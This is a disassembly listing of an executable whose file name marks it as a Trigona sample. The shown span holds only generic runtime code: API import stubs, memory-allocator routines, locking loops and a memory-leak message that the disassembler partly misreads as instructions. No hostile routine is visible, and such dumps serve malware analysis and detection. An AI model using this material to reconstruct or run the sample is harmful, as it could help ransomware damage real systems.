File trigona_be6dfedd91e1ebc81d58a61b05b0ef93322425b247636a0f7f5c3eeebbc52edd.exe
Function:
    004033b6
    004033b6 // align 0x10
    004033c0
    004033c0GetSystemDefaultUILanguage:
    004033c0jmp [rip+0x6e50a]
    004033c0
    004033c6
    004033c6 // align 0x10
    004033d0
    004033d0SetThreadLocale:
    004033d0jmp [rip+0x6e522]
    004033d0
    004033d6
    004033d6 // align 0x10
    004033e0
    004033e0IsValidLocale:
    004033e0jmp [rip+0x6e4da]
    004033e0
    004033e6
    004033e6 // align 0x10
    004033f0
    004033f0IsDBCSLeadByteEx:
    004033f0jmp [rip+0x6e472]
    004033f0
    004033f6
    004033f6 // align 0x10
    00403400
    00403400CharNextW:
    00403400jmp [rip+0x6e582]
    00403400
    00403406
    00403406 // align 0x10
    00403410
    00403410CompareStringW:
    00403410jmp [rip+0x6e272]
    00403410
    00403416
    00403416 // align 0x10
    00403420
    00403420fn_403420:
    00403420push rcx
    00403421lea rcx, [rip+0x6fbf8]
    00403428push r8
    0040342apush r9
    0040342csub rsp, 104
    00403430movapd [rsp+32], x0
    00403436movapd [rsp+48], x1
    0040343cmovapd [rsp+64], x2
    00403442movapd [rsp+80], x3
    00403448call fn_4149b0
    0040344dmovapd x3, [rsp+80]
    00403453movapd x2, [rsp+64]
    00403459movapd x1, [rsp+48]
    0040345fmovapd x0, [rsp+32]
    00403465add rsp, 104
    00403469pop r9
    0040346bpop r8
    0040346dpop rcx
    0040346epop rdx
    0040346fjmp rax
    00403420
    00403471
    00403471 // align 0x10
    00403480
    00403480 52 48 8d 15 20 fc 06 00 e9 93 ff ff ff cc cc cc RH.. ...........
    00403490
    00403490MessageBoxA:
    00403490jmp [rip+0x6fc12]
    00403490
    00403496
    00403496 // align 0x10
    004034a0
    004034a0RegCloseKey:
    004034a0jmp [rip+0x6e59a]
    004034a0
    004034a6
    004034a6 // align 0x10
    004034b0
    004034b0RegOpenKeyExW:
    004034b0jmp [rip+0x6e59a]
    004034b0
    004034b6
    004034b6 // align 0x10
    004034c0
    004034c0RegQueryValueExW:
    004034c0jmp [rip+0x6e56a]
    004034c0
    004034c6
    004034c6 // align 0x10
    004034d0
    004034d0GetVersion:
    004034d0jmp [rip+0x6e1e2]
    004034d0
    004034d6
    004034d6 // align 0x10
    004034e0
    004034e0GetSystemInfo:
    004034e0jmp [rip+0x6e2aa]
    004034e0
    004034e6
    004034e6 // align 0x10
    004034f0
    004034f0GetTickCount:
    004034f0jmp [rip+0x6e252]
    004034f0
    004034f6
    004034f6 // align 0x10
    00403500
    00403500VirtualQuery:
    00403500jmp [rip+0x6e212]
    00403500
    00403506
    00403506 // align 0x10
    00403510
    00403510SysAllocStringLen:
    00403510jmp [rip+0x6e4c2]
    00403510
    00403516
    00403516 // align 0x10
    00403520
    00403520SysReAllocStringLen:
    00403520jmp [rip+0x6e4c2]
    00403520
    00403526
    00403526 // align 0x10
    00403530
    00403530SysFreeString:
    00403530jmp [rip+0x6e4aa]
    00403530
    00403536
    00403536 // align 0x10
    00403540
    00403540lstrlenW:
    00403540jmp [rip+0x6e2ca]
    00403540
    00403546
    00403546 // align 0x10
    00403550
    00403550fn_403550:
    00403550push rcx
    00403551lea rcx, [rip+0x6faa8]
    00403558push r8
    0040355apush r9
    0040355csub rsp, 104
    00403560movapd [rsp+32], x0
    00403566movapd [rsp+48], x1
    0040356cmovapd [rsp+64], x2
    00403572movapd [rsp+80], x3
    00403578call fn_4149b0
    0040357dmovapd x3, [rsp+80]
    00403583movapd x2, [rsp+64]
    00403589movapd x1, [rsp+48]
    0040358fmovapd x0, [rsp+32]
    00403595add rsp, 104
    00403599pop r9
    0040359bpop r8
    0040359dpop rcx
    0040359epop rdx
    0040359fjmp rax
    00403550
    004035a1
    004035a1 // align 0x10
    004035b0
    004035b0 52 48 8d 15 e8 fa 06 00 e9 93 ff ff ff cc cc cc RH..............
    004035c0
    004035c0GetLogicalProcessorInformation:
    004035c0jmp [rip+0x6fada]
    004035c0
    004035c6
    004035c6 // align 0x10
    004035d0
    004035d0fn_4035d0:
    004035d0push rbx
    004035d1sub rsp, 144
    004035d8mov ebx, 10
    004035ddmov [rsp+40], 104
    004035e5lea rcx, [rsp+40]
    004035eacall GetStartupInfoW
    004035efmov eax, [rsp+100]
    004035f3test eax, 1
    004035f9je 0x403600
    004035fbmovzx ebx, [rsp+104]
    00403600
    00403600loc_403600:
    00403600mov eax, ebx
    00403602add rsp, 144
    00403609pop rbx
    0040360aret
    004035d0
    0040360b
    0040360b // align 0x10
    00403610
    00403610VirtualAlloc:
    00403610jmp [rip+0x6e16a]
    00403610
    00403616
    00403616 // align 0x10
    00403620
    00403620VirtualFree:
    00403620jmp [rip+0x6dfe2]
    00403620
    00403626
    00403626 // align 0x10
    00403630
    00403630Sleep:
    00403630jmp [rip+0x6e0ea]
    00403630
    00403636
    00403636 // align 0x10
    00403640
    00403640WriteFile:
    00403640jmp [rip+0x6e242]
    00403640
    00403646
    00403646 41 6e 20 75 6e 65 78 70 65 63 An unexpec
    00403650 74 65 64 20 6d 65 6d 6f 72 79 20 6c 65 61 6b 20 ted memory leak
    00403660 68 61 73 20 6f 63 63 75 72 72 65 64 2e 20 00 has occurred. .
    0040366f
    0040366ffn_40366f:
    0040366fpush rsp
    00403670push 0x6e752065
    00403675js 0x4036e8
    00403678movsxd rsi, [rbp+100]
    0040367dand [rbx+109], dh
    00403680db 0x61
    00403681db 0x6c
    00403682db 0x6c
    00403683db 0x20
    00403684db 0x62
    00403685db 0x6c
    00403686db 0x6f
    00403687db 0x63
    00403688db 0x6b
    00403689db 0x20
    0040368adb 0x6c
    0040368bdb 0x65
    0040368cdb 0x61
    0040368ddb 0x6b
    0040368edb 0x73
    0040368fdb 0x20
    00403690db 0x61
    00403691db 0x72
    00403692db 0x65
    00403693db 0x3a
    00403694db 0x0d
    00403695db 0x0a
    00403696db 0x00
    00403697db 0x54
    00403698db 0x68
    00403699db 0x65
    0040369adb 0x20
    0040369bdb 0x73
    0040369cdb 0x69
    0040369ddb 0x7a
    0040369edb 0x65
    0040369fdb 0x73
    004036a0db 0x20
    004036a1db 0x6f
    004036a2db 0x66
    004036a3db 0x20
    004036a4db 0x75
    004036a5db 0x6e
    004036a6db 0x65
    004036a7db 0x78
    004036a8db 0x70
    004036a9db 0x65
    004036aadb 0x63
    004036abdb 0x74
    004036acdb 0x65
    004036addb 0x64
    004036aedb 0x20
    004036afdb 0x6c
    004036b0db 0x65
    004036b1db 0x61
    004036b2db 0x6b
    004036b3db 0x65
    004036b4db 0x64
    004036b5db 0x20
    004036b6db 0x6d
    004036b7db 0x65
    004036b8db 0x64
    004036b9db 0x69
    004036badb 0x75
    004036bbdb 0x6d
    004036bcdb 0x20
    004036bddb 0x61
    004036bedb 0x6e
    004036bfdb 0x64
    004036c0db 0x20
    004036c1db 0x6c
    004036c2db 0x61
    004036c3db 0x72
    004036c4db 0x67
    004036c5db 0x65
    004036c6db 0x20
    004036c7db 0x62
    004036c8db 0x6c
    004036c9db 0x6f
    004036cadb 0x63
    004036cbdb 0x6b
    004036ccdb 0x73
    004036cddb 0x20
    004036cedb 0x61
    004036cfdb 0x72
    004036d0db 0x65
    004036d1db 0x3a
    004036d2db 0x20
    004036d3db 0x00
    004036d4db 0x20
    004036d5db 0x62
    004036d6db 0x79
    004036d7db 0x74
    004036d8db 0x65
    004036d9db 0x73
    004036dadb 0x3a
    004036dbdb 0x20
    004036dcdb 0x00
    004036ddpush rbp
    004036deoutsb dl, [rsi]
    004036dfimul ebp, [rsi+111], 119
    004036e3outsb dl, [rsi]
    004036e4add [rcx+110], al
    004036e7jae 0x403752
    004036e9push rbx
    004036eaje 0x40375e
    004036ecimul ebp, [rsi+103], 0x696e5500
    004036f3movsxd rbp, [rdi+100]
    004036f6push rbx
    004036f8je 0x40376c
    004036fadb 0x69
    004036fboutsb dl, [rsi]
    0040366f
    004036fc
    004036fc 67 00 g.
    004036fe
    004036fefn_4036fe:
    004036feor eax, 0x5500000a
    00403703outsb dl, [rsi]
    00403704js 0x403777
    00403707movsxd rsi, [rbp+100]
    0040370cand [rbp+101], cl
    0040370finsd [rdi], dx
    00403710outsd dx, [rsi]
    00403711jb 0x40378c
    00403713and [rbp+97], cl
    00403717imul eax, [rax], -52
    0040371aint 3
    004036fe
    0040371b
    0040371b // align 0x10
    00403720
    00403720fn_403720:
    00403720mov rax, [rcx]
    00403723mov [rdx], rax
    00403726ret
    00403720
    00403727
    00403727 // align 0x10
    00403730
    00403730fn_403730:
    00403730movdqa x0, [rcx]
    00403734mov r8, [rcx+16]
    00403738movdqa [rdx], x0
    0040373cmov [rdx+16], r8
    00403740ret
    00403730
    00403741
    00403741 // align 0x10
    00403750
    00403750fn_403750:
    00403750movdqa x0, [rcx]
    00403754movdqa x1, [rcx+16]
    00403759mov r8, [rcx+32]
    0040375dmovdqa [rdx], x0
    00403761movdqa [rdx+16], x1
    00403766mov [rdx+32], r8
    0040376aret
    00403750
    0040376b
    0040376b // align 0x10
    00403770
    00403770fn_403770:
    00403770movdqa x0, [rcx]
    00403774movdqa x1, [rcx+16]
    00403779movdqa x2, [rcx+32]
    0040377emov r8, [rcx+48]
    00403782movdqa [rdx], x0
    00403786movdqa [rdx+16], x1
    0040378bmovdqa [rdx+32], x2
    00403790mov [rdx+48], r8
    00403794ret
    00403770
    00403795
    00403795 // align 0x10
    004037a0
    004037a0fn_4037a0:
    004037a0sub r8, 8
    004037a4add rcx, r8
    004037a7add rdx, r8
    004037aaneg r8
    004037adjns 0x4037c1
    004037af
    004037afloc_4037af:
    004037afmovdqa x0, [rcx+r8]
    004037b5movdqa [rdx+r8], x0
    004037bbadd r8, 16
    004037bfjs 0x4037af
    004037c1
    004037c1loc_4037c1:
    004037c1mov r9, [rcx+r8]
    004037c5mov [rdx+r8], r9
    004037c9ret
    004037a0
    004037ca
    004037ca // align 0x10
    004037d0
    004037d0fn_4037d0:
    004037d0sub rsp, 40
    004037d4cmp [rip+0x618be], 0
    004037dbje 0x40381a
    004037ddjmp 0x403809
    004037df
    004037dfloc_4037df:
    004037dfcmp [rip+0x6223f], 0
    004037e6jne 0x403809
    004037e8xor ecx, ecx
    004037eacall Sleep
    004037efxor eax, eax
    004037f1mov cl, 1
    004037f3lock cmpxchg [rip+0x6239d], cl
    004037fbtest al, al
    004037fdje 0x403819
    004037ffmov ecx, 10
    00403804call Sleep
    00403809
    00403809loc_403809:
    00403809xor eax, eax
    0040380bmov cl, 1
    0040380dlock cmpxchg [rip+0x62383], cl
    00403815test al, al
    00403817jne 0x4037df
    00403819
    00403819loc_403819:
    00403819nop
    0040381a
    0040381aloc_40381a:
    0040381aadd rsp, 40
    0040381eret
    004037d0
    0040381f
    0040381f // align 0x10
    00403820
    00403820fn_403820:
    00403820mov rax, rcx
    00403823mov rcx, [rax+8]
    00403827mov rdx, [rax]
    0040382acmp rcx, rdx
    0040382dmov [rcx], rdx
    00403830mov [rdx+8], rcx
    00403834jne 0x40386b
    00403836lea r8, [rip+0x623f3]
    0040383dsub rcx, r8
    00403840mov edx, ecx
    00403842shr ecx, 4
    00403845shr edx, 9
    00403848mov eax, -2
    0040384drol eax, cl
    0040384flea r8, [rip+0x6235a]
    00403856and [r8+4*rdx], eax
    0040385ajne 0x40386b
    0040385cmov eax, -2
    00403861mov ecx, edx
    00403863rol eax, cl
    00403865and [rip+0x62341], eax
    0040386b
    0040386bloc_40386b:
    0040386bret
    00403820
    0040386c
    0040386c // align 0x10
    00403870
    00403870fn_403870:
    00403870mov rax, rcx
    00403873sub edx, 2864
    00403879shr edx, 8
    0040387csub edx, 1023
    00403882sbb ecx, ecx
    00403884and edx, ecx
    00403886add edx, 1023
    0040388cmov r9, rdx
    0040388flea rcx, [rip+0x6239a]
    00403896shl edx, 4
    00403899add rcx, rdx
    0040389cmov rdx, [rcx+8]
    004038a0cmp rdx, rcx
    004038a3mov [rax], rcx
    004038a6mov [rax+8], rdx
    004038aamov [rdx], rax
    004038admov [rcx+8], rax
    004038b1jne 0x4038dd
    004038b3mov rcx, r9
    004038b6mov rdx, r9
    004038b9shr edx, 5
    004038bcmov eax, 1
    004038c1shl eax, cl
    004038c3lea r8, [rip+0x622e6]
    004038caor [r8+4*rdx], eax
    004038cemov eax, 1
    004038d3mov ecx, edx
    004038d5shl eax, cl
    004038d7or [rip+0x622cf], eax
    004038dd
    004038ddloc_4038dd:
    004038ddret
    00403870
    004038de
    004038de // align 0x10
    004038e0
    004038e0fn_4038e0:
    004038e0push rbp
    004038e1sub rsp, 32
    004038e5mov rbp, rsp
    004038e8xor eax, eax
    004038eacmp [rip+0x622b8], eax
    004038f0je 0x40396c
    004038f2mov rax, [rip+0x622a7]
    004038f9test [rax-8], 1
    004038fdjne 0x40392c
    004038ffor [rax-8], 8
    00403904mov edx, [rip+0x6229e]
    0040390asub rax, rdx
    0040390d
    0040390dloc_40390d:
    0040390dlea rcx, [rdx+3]
    00403911mov [rax-8], rcx
    00403915mov [rax+rdx-16], rdx
    0040391acmp edx, 2864
    00403920jb 0x40396c
    00403922mov rcx, rax
    00403925call fn_403870
    0040392ajmp 0x40396c
    0040392c
    0040392cloc_40392c:
    0040392cmov rdx, -16
    00403936and rdx, [rax-8]
    0040393acmp edx, 2864
    00403940jb 0x40395f
    00403942mov rcx, rax
    00403945call fn_403820
    0040394amov rax, [rip+0x6224f]
    00403951mov rdx, -16
    0040395band rdx, [rax-8]
    0040395f
    0040395floc_40395f:
    0040395fmov ecx, [rip+0x62243]
    00403965sub rax, rcx
    00403968add edx, ecx
    0040396ajmp 0x40390d
    0040396c
    0040396cloc_40396c:
    0040396clea rsp, [rbp+32]
    00403970pop rbp
    00403971ret
    004038e0
    00403972
    00403972 // align 0x10
    00403980
    00403980fn_403980:
    00403980push rbx
    00403981sub rsp, 32
    00403985mov ebx, ecx
    00403987call fn_4038e0
    0040398cxor ecx, ecx
    0040398emov edx, 0x13fff0
    00403993mov r8l, 4096
    00403999mov r9l, 4
    0040399fcall VirtualAlloc
    004039a4mov rcx, rax
    004039a7test rcx, rcx
    004039aaje 0x403a07
    004039acmov rax, [rip+0x621cd]
    004039b3mov rdx, rcx
    004039b6lea r8, [rip+0x621bb]
    004039bdmov [rdx], r8
    004039c0mov [rip+0x621b9], rcx
    004039c7mov [rdx+8], rax
    004039cbmov [rax], rcx
    004039cemov [rdx+0x13ffe8], 2
    004039d9mov eax, 0x13ffd0
    004039desub eax, ebx
    004039e0mov [rip+0x621c2], eax
    004039e6mov eax, ebx
    004039e8sub rdx, rax
    004039ebadd rdx, 0x13fff0
    004039f2mov rax, rdx
    004039f5mov [rip+0x621a4], rax
    004039fcor ebx, 2
    004039ffmov ebx, ebx
    00403a01mov [rax-8], rbx
    00403a05jmp 0x403a13
    00403a07
    00403a07loc_403a07:
    00403a07mov [rip+0x62197], 0
    00403a11xor eax, eax
    00403a13
    00403a13loc_403a13:
    00403a13add rsp, 32
    00403a17pop rbx
    00403a18ret
    00403980
    00403a19
    00403a19 // align 0x10
    00403a20
    00403a20fn_403a20:
    00403a20sub rsp, 40
    00403a24cmp [rip+0x6166e], 0
    00403a2bje 0x403a6a
    00403a2djmp 0x403a59
    00403a2f
    00403a2floc_403a2f:
    00403a2fcmp [rip+0x61fef], 0
    00403a36jne 0x403a59
    00403a38xor ecx, ecx
    00403a3acall Sleep
    00403a3fxor eax, eax
    00403a41mov cl, 1
    00403a43lock cmpxchg [rip+0x661e5], cl
    00403a4btest al, al
    00403a4dje 0x403a69
    00403a4fmov ecx, 10
    00403a54call Sleep
    00403a59
    00403a59loc_403a59:
    00403a59xor eax, eax
    00403a5bmov cl, 1
    00403a5dlock cmpxchg [rip+0x661cb], cl
    00403a65test al, al
    00403a67jne 0x403a2f
    00403a69
    00403a69loc_403a69:
    00403a69nop
    00403a6a
    00403a6aloc_403a6a:
    00403a6aadd rsp, 40
    00403a6eret
    00403a20
    00403a6f
    00403a6f // align 0x10
    00403a70
    00403a70fn_403a70:
    00403a70push r13
    00403a72push rdi
    00403a73push rsi
    00403a74push rbx
    00403a75sub rsp, 40
    00403a79mov rbx, rcx
    00403a7clea rdi, [rbx+0x10027]
    00403a83and rdi, 0xffffffffffff0000
    00403a8axor ecx, ecx
    00403a8cmov rdx, rdi
    00403a8fmov r8l, 0x101000
    00403a95mov r9l, 4
    00403a9bcall VirtualAlloc
    00403aa0mov rsi, rax
    00403aa3test rsi, rsi
    00403aa6je 0x403ae7
    00403aa8mov r13, rsi
    00403aabmov [r13+16], rbx
    00403aafor rdi, 4
    00403ab3mov [r13+24], rdi
    00403ab7call fn_403a20
    00403abcmov rax, [rip+0x6617d]
    00403ac3lea rcx, [rip+0x6616e]
    00403acamov [r13], rcx
    00403acemov [rip+0x6616b], rsi
    00403ad5mov [r13+8], rax
    00403ad9mov [rax], rsi
    00403adcmov [rip+0x6614d], 0
    00403ae3add rsi, 32
    00403ae7
    00403ae7loc_403ae7:
    00403ae7mov rax, rsi
    00403aeaadd rsp, 40
    00403aeepop rbx
    00403aefpop rsi
    00403af0pop rdi
    00403af1pop r13
    00403af3ret
    00403a70
    00403af4
    00403af4 // align 0x10
    00403b00
    00403b00fn_403b00:
    00403b00push rbp
    00403b01push r14
    00403b03push r13
    00403b05push rdi
    00403b06push rsi
    00403b07push rbx
    00403b08sub rsp, 88
    00403b0cmov rbp, rsp
    00403b0fmov rbx, rcx
    00403b12sub rbx, 32
    00403b16call fn_403a20
    00403b1bmov rax, rbx
    00403b1emov rsi, [rax]
    00403b21mov rdi, [rax+8]
    00403b25mov rax, [rax+24]
    00403b29mov rcx, rax
    00403b2ctest rcx, 8
    00403b33jne 0x403b52
    00403b35mov rcx, rbx
    00403b38xor edx, edx
    00403b3amov r8l, 32768
    00403b40call VirtualFree
    00403b45test eax, eax
    00403b47je 0x403b4d
    00403b49xor ebx, ebx
    00403b4bjmp 0x403b9b
    00403b4d
    00403b4dloc_403b4d:
    00403b4dor ebx, -1
    00403b50jmp 0x403b9b
    00403b52
    00403b52loc_403b52:
    00403b52mov r14, rbx
    00403b55mov r13, rax
    00403b58and r13, -16
    00403b5cxor ebx, ebx
    00403b5e
    00403b5eloc_403b5e:
    00403b5emov rcx, r14
    00403b61lea rdx, [rbp+32]
    00403b65mov r8l, 48
    00403b6bcall VirtualQuery
    00403b70mov rcx, r14
    00403b73xor edx, edx
    00403b75mov r8l, 32768
    00403b7bcall VirtualFree
    00403b80test eax, eax
    00403b82jne 0x403b89
    00403b84or ebx, -1
    00403b87jmp 0x403b9a
    00403b89
    00403b89loc_403b89:
    00403b89mov rax, [rbp+56]
    00403b8dcmp rax, r13
    00403b90jae 0x403b9a
    00403b92sub r13, rax
    00403b95add r14, rax
    00403b98jmp 0x403b5e
    00403b9a
    00403b9aloc_403b9a:
    00403b9anop
    00403b9b
    00403b9bloc_403b9b:
    00403b9btest ebx, ebx
    00403b9djne 0x403ba6
    00403b9fmov [rdi], rsi
    00403ba2mov [rsi+8], rdi
    00403ba6
    00403ba6loc_403ba6:
    00403ba6mov [rip+0x66083], 0
    00403badmov eax, ebx
    00403baflea rsp, [rbp+88]
    00403bb3pop rbx
    00403bb4pop rsi
    00403bb5pop rdi
    00403bb6pop r13
    00403bb8pop r14
    00403bbapop rbp
    00403bbbret
    00403b00
    00403bbc
    00403bbc // align 0x10
    00403bc0
    00403bc0fn_403bc0:
    00403bc0push rbp
    00403bc1push r14
    00403bc3push r13
    00403bc5push rdi
    00403bc6push rsi
    00403bc7push rbx
    00403bc8sub rsp, 88
    00403bccmov rbp, rsp
    00403bcfmov rbx, rcx
    00403bd2mov rsi, rdx
    00403bd5mov r14, rbx
    00403bd8mov rax, [r14-8]
    00403bdcmov rcx, rax
    00403bdfand rcx, -16
    00403be3lea rdi, [rcx-40]
    00403be7cmp rsi, rdi
    00403beajbe 0x403cee
    00403bf0mov rcx, rdi
    00403bf3shr rcx, 2
    00403bf7lea r13, [rdi+rcx]
    00403bfbcmp rsi, r13
    00403bfejb 0x403c03
    00403c00mov r13, rsi
    00403c03
    00403c03loc_403c03:
    00403c03and rax, -16
    00403c07lea r14, [r14+rax-32]
    00403c0cmov rcx, r14
    00403c0flea rdx, [rbp+32]
    00403c13mov r8l, 48
    00403c19call VirtualQuery
    00403c1ecmp [rbp+64], 0x10000
    00403c25jne 0x403cb5
    00403c2band [rbp+56], 0xffffffffffff0000
    00403c33mov rax, [rbp+56]
    00403c37mov rcx, rsi
    00403c3asub rcx, rdi
    00403c3dcmp rax, rcx
    00403c40jbe 0x403cb5
    00403c42mov rcx, r13
    00403c45sub rcx, rdi
    00403c48add rcx, 65535
    00403c4fand rcx, 0xffffffffffff0000
    00403c56mov rdi, rcx
    00403c59cmp rdi, rax
    00403c5cjbe 0x403c61
    00403c5emov rdi, rax
    00403c61
    00403c61loc_403c61:
    00403c61mov rcx, r14
    00403c64mov rdx, rdi
    00403c67mov r8l, 8192
    00403c6dmov r9l, 4
    00403c73call VirtualAlloc
    00403c78test rax, rax
    00403c7bje 0x403cb5
    00403c7dmov rcx, r14
    00403c80mov rdx, rdi
    00403c83mov r8l, 4096
    00403c89mov r9l, 4
    00403c8fcall VirtualAlloc
    00403c94test rax, rax
    00403c97je 0x403cb5
    00403c99mov rax, rbx
    00403c9cmov [rax-16], rsi
    00403ca0mov rcx, [rax-8]
    00403ca4lea rcx, [rcx+rdi]
    00403ca8or rcx, 8
    00403cacmov [rax-8], rcx
    00403cb0mov rdi, rbx
    00403cb3jmp 0x403d33
    00403cb5
    00403cb5loc_403cb5:
    00403cb5mov rcx, r13
    00403cb8call fn_403d50
    00403cbdmov rdi, rax
    00403cc0test rdi, rdi
    00403cc3je 0x403d33
    00403cc5cmp r13, 0x40a28
    00403cccjbe 0x403cd2
    00403ccemov [rdi-16], rsi
    00403cd2
    00403cd2loc_403cd2:
    00403cd2mov rax, [rbx-16]
    00403cd6mov rcx, rbx
    00403cd9mov rdx, rdi
    00403cdcmov r8, rax
    00403cdfcall fn_4037a0
    00403ce4mov rcx, rbx
    00403ce7call fn_404120
    00403cecjmp 0x403d33
    00403cee
    00403ceeloc_403cee:
    00403ceeshr rdi, 1
    00403cf2cmp rsi, rdi
    00403cf5jb 0x403d00
    00403cf7mov rdi, rbx
    00403cfamov [r14-16], rsi
    00403cfejmp 0x403d33
    00403d00
    00403d00loc_403d00:
    00403d00mov rcx, rsi
    00403d03call fn_403d50
    00403d08mov rdi, rax
    00403d0btest rdi, rdi
    00403d0eje 0x403d33
    00403d10cmp rsi, 0x40a28
    00403d17jbe 0x403d1d
    00403d19mov [r14-16], rsi
    00403d1d
    00403d1dloc_403d1d:
    00403d1dmov rcx, rbx
    00403d20mov rdx, rdi
    00403d23mov r8, rsi
    00403d26call fn_4037a0
    00403d2bmov rcx, rbx
    00403d2ecall fn_404120
    00403d33
    00403d33loc_403d33:
    00403d33mov rax, rdi
    00403d36lea rsp, [rbp+88]
    00403d3apop rbx
    00403d3bpop rsi
    00403d3cpop rdi
    00403d3dpop r13
    00403d3fpop r14
    00403d41pop rbp
    00403d42ret
    00403bc0
    00403d43
    00403d43 // align 0x10
    00403d50
    00403d50fn_403d50:
    00403d50push rbp
    00403d51push rdi
    00403d52push rsi
    00403d53push rbx
    00403d54sub rsp, 40
    00403d58mov rbp, rsp
    00403d5blea edx, [ecx+7]
    00403d5fshr edx, 3
    00403d62lea r8, [rip+0x61cc3]
    00403d69lea rbx, [rip+0x55368]
    00403d70movzx esi, [rip+0x61322]
    00403d77cmp rcx, 2600
    00403d7eja 0x403fb9
    00403d84movzx ecx, [r8+rdx]
    00403d89shl ecx, 4
    00403d8cadd rbx, rcx
    00403d8ftest esi, esi
    00403d91jne 0x403e01
    00403d93
    00403d93loc_403d93:
    00403d93mov rdx, [rbx+8]
    00403d97mov rax, [rdx+24]
    00403d9bmov rcx, -8
    00403da5cmp rdx, rbx
    00403da8je 0x403dc4
    00403daaadd [rdx+32], 1
    00403daeand rcx, [rax-8]
    00403db2mov [rdx+24], rcx
    00403db6mov [rax-8], rdx
    00403dbaje 0x403ded
    00403dbcmov [rbx], 0
    00403dbfjmp 0x404108
    00403dc4
    00403dc4loc_403dc4:
    00403dc4mov rdx, [rbx+40]
    00403dc8movzx ecx, [rbx+2]
    00403dccadd rcx, rax
    00403dcfcmp rax, [rbx+32]
    00403dd3ja 0x403e6c
    00403dd9add [rdx+32], 1
    00403dddmov [rbx+24], rcx
    00403de1mov [rbx], 0
    00403de4mov [rax-8], rdx
    00403de8jmp 0x404108
    00403ded
    00403dedloc_403ded:
    00403dedmov rcx, [rdx+8]
    00403df1mov [rcx+16], rbx
    00403df5mov [rbx+8], rcx
    00403df9mov [rbx], 0
    00403dfcjmp 0x404108
    00403e01
    00403e01loc_403e01:
    00403e01mov eax, 256
    00403e06lock cmpxchg [rbx], ah
    00403e0aje 0x403d93
    00403e0cadd rbx, 64
    00403e10mov eax, 256
    00403e15lock cmpxchg [rbx], ah
    00403e19je 0x403d93
    00403e1fadd rbx, 64
    00403e23mov eax, 256
    00403e28lock cmpxchg [rbx], ah
    00403e2cje 0x403d93
    00403e32sub rbx, 128
    00403e39nop
    00403e3blea rax, [rip+0x61be3]
    00403e42cmp [rax], 0
    00403e45jne 0x403e01
    00403e47mov ecx, 0
    00403e4ccall Sleep
    00403e51mov eax, 256
    00403e56lock cmpxchg [rbx], ah
    00403e5aje 0x403d93
    00403e60mov ecx, 10
    00403e65call Sleep
    00403e6ajmp 0x403e01
    00403e6c
    00403e6cloc_403e6c:
    00403e6ctest esi, esi
    00403e6eje 0x403e75
    00403e70call fn_4037d0
    00403e75
    00403e75loc_403e75:
    00403e75movsx esi, [rbx+1]
    00403e79and esi, [rip+0x61d2d]
    00403e7fje 0x403f14
    00403e85bsf eax, esi
    00403e88lea r8, [rip+0x61d21]
    00403e8flea r9, [4*rax]
    00403e97mov ecx, [r8+r9]
    00403e9bbsf ecx, ecx
    00403e9elea ecx, [ecx+8*r9l]
    00403ea3lea rdi, [rip+0x61d86]
    00403eaalea esi, [8*ecx]
    00403eb2lea rdi, [rdi+2*rsi]
    00403eb6mov rsi, [rdi+8]
    00403ebamov rdx, [rsi+8]
    00403ebemov [rdi+8], rdx
    00403ec2mov [rdx], rdi
    00403ec5cmp rdi, rdx
    00403ec8jne 0x403ede
    00403ecamov edx, -2
    00403ecfrol edx, cl
    00403ed1and [r8+r9], edx
    00403ed5jne 0x403ede
    00403ed7btr [rip+0x61cce], eax
    00403ede
    00403edeloc_403ede:
    00403edemov rdi, -16
    00403ee8and rdi, [rsi-8]
    00403eeccmp edi, 0x10a60
    00403ef2jb 0x403f6c
    00403ef4mov edx, edi
    00403ef6movzx edi, [rbx+6]
    00403efasub edx, edi
    00403efclea rcx, [rsi+rdi]
    00403f00lea rax, [rdx+3]
    00403f04mov [rcx-8], rax
    00403f08mov [rcx+rdx-16], rdx
    00403f0dcall fn_403870
    00403f12jmp 0x403f71
    00403f14
    00403f14loc_403f14:
    00403f14movzx ecx, [rbx+4]
    00403f18mov edi, [rip+0x61c8a]
    00403f1ecmp edi, ecx
    00403f20jb 0x403f4c
    00403f22mov rsi, [rip+0x61c77]
    00403f29movzx ecx, [rbx+6]
    00403f2dlea edx, [ecx+2864]
    00403f34cmp edi, edx
    00403f36jb 0x403f3a
    00403f38mov edi, ecx
    00403f3a
    00403f3aloc_403f3a:
    00403f3asub rsi, rdi
    00403f3dsub [rip+0x61c65], edi
    00403f43mov [rip+0x61c56], rsi
    00403f4ajmp 0x403f71
    00403f4c
    00403f4cloc_403f4c:
    00403f4cmovzx ecx, [rbx+6]
    00403f50mov edi, ecx
    00403f52call fn_403980
    00403f57mov rsi, rax
    00403f5atest rax, rax
    00403f5djne 0x403f71
    00403f5fmov [rip+0x61c33], al
    00403f65mov [rbx], al
    00403f67jmp 0x404108
    00403f6c
    00403f6cloc_403f6c:
    00403f6cand [rsi+rdi-8], 247
    00403f71
    00403f71loc_403f71:
    00403f71lea ecx, [edi+6]
    00403f75mov [rsi-8], rcx
    00403f79xor eax, eax
    00403f7bmov [rip+0x61c17], al
    00403f81mov [rsi], rbx
    00403f84mov [rsi+24], rax
    00403f88mov [rsi+32], 1
    00403f8fmov [rbx+40], rsi
    00403f93lea rax, [rsi+48]
    00403f97movzx ecx, [rbx+2]
    00403f9blea rdx, [rax+rcx]
    00403f9fmov [rbx+24], rdx
    00403fa3add rdi, rsi
    00403fa6sub rdi, rcx
    00403fa9mov [rbx+32], rdi
    00403fadmov [rbx], 0
    00403fb0mov [rax-8], rsi
    00403fb4jmp 0x404108
    00403fb9
    00403fb9loc_403fb9:
    00403fb9cmp rcx, 0x40a28
    00403fc0ja 0x4040fb
    00403fc6lea ebx, [ecx+215]
    00403fcdand ebx, -256
    00403fd3add ebx, 48
    00403fd6test esi, esi
    00403fd8je 0x403fdf
    00403fdacall fn_4037d0
    00403fdf
    00403fdfloc_403fdf:
    00403fdflea edx, [ebx-2864]
    00403fe6mov ecx, edx
    00403fe8shr edx, 13
    00403febshr ecx, 8
    00403feemov eax, -1
    00403ff3shl eax, cl
    00403ff5lea r8, [rip+0x61bb4]
    00403ffcand eax, [r8+4*rdx]
    00404000je 0x40400c
    00404002and ecx, -32
    00404005bsf eax, eax
    00404008or ecx, eax
    0040400ajmp 0x40406f
    0040400c
    0040400cloc_40400c:
    0040400cmov eax, -2
    00404011mov ecx, edx
    00404013shl eax, cl
    00404015and eax, [rip+0x61b91]
    0040401bje 0x404030
    0040401dbsf edx, eax
    00404020mov eax, [r8+4*rdx]
    00404024bsf ecx, eax
    00404027mov eax, edx
    00404029shl eax, 5
    0040402cor ecx, eax
    0040402ejmp 0x40406f
    00404030
    00404030loc_404030:
